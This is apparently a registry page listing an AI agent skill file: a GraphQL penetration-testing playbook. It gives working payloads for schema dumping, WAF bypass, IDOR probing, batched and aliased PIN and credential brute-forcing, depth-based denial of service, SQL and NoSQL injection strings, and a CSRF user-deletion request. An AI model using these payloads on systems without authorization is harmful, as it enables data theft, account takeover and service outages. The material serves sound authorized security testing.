graphql
Skill1.4k starsChanged 3 months agoApache-2.0View on GitHub
GraphQL pentest playbook — find the endpoint, dump the schema (introspection or field-suggestion fallback), then test for authorization gaps, query batching, alias overload, depth-based DoS, and SQLi/NoSQLi in resolver arguments. Use when the target exposes a /graphql endpoint, GraphiQL, Apollo, or accepts GraphQL queries.
16 other projects use a version of this.
Adopted by
Most recently taken up by
- muon-m2/magento2-toolstheir own version, first seen Oct 4, 2026
- crowdin/skillstheir own version, first seen Sep 4, 2026
- TheHiddenDeveloper/jarvis-skillstheir own version, first seen Aug 19, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- TheBeardedBearSAS/claude-crafttheir own version, first seen Jul 22, 2026
- nimadorostkar/Claude-Skills-collectiontheir own version, first seen Jul 14, 2026
Used with
Projects with it also use sqli, xss and 1 more.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
0xGhostCATSkillsqli
Hunt SQL injection in REST/GraphQL/SOAP/raw parameters using sqlmap, ghauri, manual UNION/Time/Boolean techniques, and custom WAF-bypass tamper scripts. Use when an input flows into a database query or when the user has identified a parameter that might be vulnerable.
Also in 3 projects that use this
0xGhostCATSkillxss
Hunt reflected, stored, and DOM-based Cross-Site Scripting (XSS) including CSP bypass, polyglot payloads, mutation XSS (mXSS), markdown XSS, and template XSS. Use when the user has identified a parameter or input that reflects to the page, or wants to test for XSS in a specific input.
Also in 3 projects that use this
ffsshhttiikkSkilli18n
Internationalization and localization
Also in 3 projects that use this
Other versions16 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 16
- Mindrally/skills★ 266same name
- TheBeardedBearSAS/claude-craft★ 106same name
- 0xGhostCAT/claude-ai-cyber-security-skills★ 41same name
- nimadorostkar/Claude-Skills-collection★ 28same name
- api-platform/skillset★ 26same name
- joabgonzalez/ai-agents-skills★ 9same name
- xfstudio/skills★ 9same name
- crowdin/skills★ 8same name
- sunilgentyala/OmniRed★ 5same name
- langbyyi/websec-skills★ 4same name
6 more not listed
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
The file
We split this skill into the rules it gives an agent
5 rules. 0 are common, 3 are distinctive, and 2 are very specific to this project.
0
Common
Most of the 13 edited versions we read keep these.
3
Distinctive
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 91
If the server doesn't cap aliases, you get N × the resolver cost in one request.
- Very specific: line 103
If the server has no depthLimit, you get exponential expansion.
- Very specific: line 121
If the endpoint accepts application/x-www-form-urlencoded or doesn't check Origin/CSRF token, GraphQL mutations are CSRF-able.
- Distinctive: line 132
When confirming, always include:
- Distinctive: line 137
If the only finding is "introspection enabled," that alone is info unless the schema reveals private fields.
“Common” is measured: kept by at least 6 in 10 of the 13 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
GraphQL playbook
Execution rule: resolve the real GraphQL endpoint first, then run concrete http/curl requests against it. Never write literal placeholders such as <other-id> to files; ask once if required IDs or sessions are missing.
Standard endpoints to probe first (use http with GET / POST):
/graphql, /graphiql, /api/graphql, /v1/graphql, /v2/graphql, /query, /api/query.
1. Confirm it's GraphQL
POST a tiny query — every implementation answers this:
{"query":"{__typename}"}A reply containing {"data":{"__typename":"Query"}} confirms the endpoint. Note the response shape: { "data": ..., "errors": [...] }.
2. Schema discovery
2a. Introspection (the easy path)
{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}Save the response — every later attack starts from this schema. Use file_write to keep it next to the engagement notes.
2b. Introspection disabled? Use field suggestions
Apollo and most other servers leak field names through error messages:
{"query":"{ user { secrt } }"}Reply often contains Did you mean "secret"?. Iterate to enumerate the schema field-by-field. Read read_payloads(skill="graphql", file="field-suggestion-probes.txt") for a starter list.
2c. Aliased introspection bypass
Some WAFs / middleware block the __schema keyword. Bypass with an alias:
{"query":"query { my_alias: __schema { types { name } } }"}Or use __type(name: "User") instead of __schema to dump types one at a time.
2d. Mutation / subscription via GET
Some servers enforce auth only on POST. Try the same query as a GET:
GET /graphql?query={__schema{types{name}}}3. Authorization gaps
GraphQL queries hit many resolvers; auth checks often live on outer fields only. Look for inner resolvers (user.email, order.shippingAddress) that fetch without scoping to the caller.
Test patterns:
- Same field through different roots:
me { email }vsuser(id: <other-id>) { email }. - Nested traversal:
order(id: X) { user { email phone } }— does it leak fields you can't access directly? - IDOR via mutation:
updateProfile(input: { userId: <other-id>, ... }).
4. Query batching
Some servers accept a JSON array as the request body, processing each query independently. Use this to:
- Bypass per-request rate limits.
- Brute-force a 2FA code or password reset token in a single HTTP request:
[{"query":"mutation{login(user:\"x\",pin:\"0001\"){token}}"},{"query":"mutation{login(user:\"x\",pin:\"0002\"){token}}"},{"query":"mutation{login(user:\"x\",pin:\"0003\"){token}}"}]5. Alias overload — same endpoint, many resolves per request
{"query":"{ a1: secret a2: secret a3: secret a4: secret ... a1000: secret }"}If the server doesn't cap aliases, you get N × the resolver cost in one request. Use to:
- Brute-force credentials at line speed (each alias is a fresh
login(...)). - Trigger DoS via expensive resolvers.
6. Depth attacks
Recursive queries through cyclic types:
{ user { friends { friends { friends { friends { id } } } } } }If the server has no depthLimit, you get exponential expansion. Confirm DoS only against authorized lab targets.
7. SQLi / NoSQLi / SSRF in resolver args
Resolvers often pass arguments straight into a query. Try:
{"query":"query($id:String!){ user(id:$id){name} }","variables":{"id":"1' OR '1'='1"}}{"query":"{ user(id: \"{$ne: null}\") { name } }"}For SSRF, look for fields that fetch URLs server-side (image(url: ...), webhook(url: ...) — chain into the [[ssrf]] skill).
8. CSRF on POST
If the endpoint accepts application/x-www-form-urlencoded or doesn't check Origin/CSRF token, GraphQL mutations are CSRF-able. Try:
POST /graphql
Content-Type: application/x-www-form-urlencoded
query=mutation{deleteUser(id:1)}Reporting
When confirming, always include:
- Schema dump (or partial enumerated via 2b) as evidence of the discovery method.
- The exact JSON payload + the HTTP request as a
curlone-liner. - Concrete impact (which fields leak, whose data, what mutation succeeded).
If the only finding is "introspection enabled," that alone is info unless the schema reveals private fields. Don't file P5 noise.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

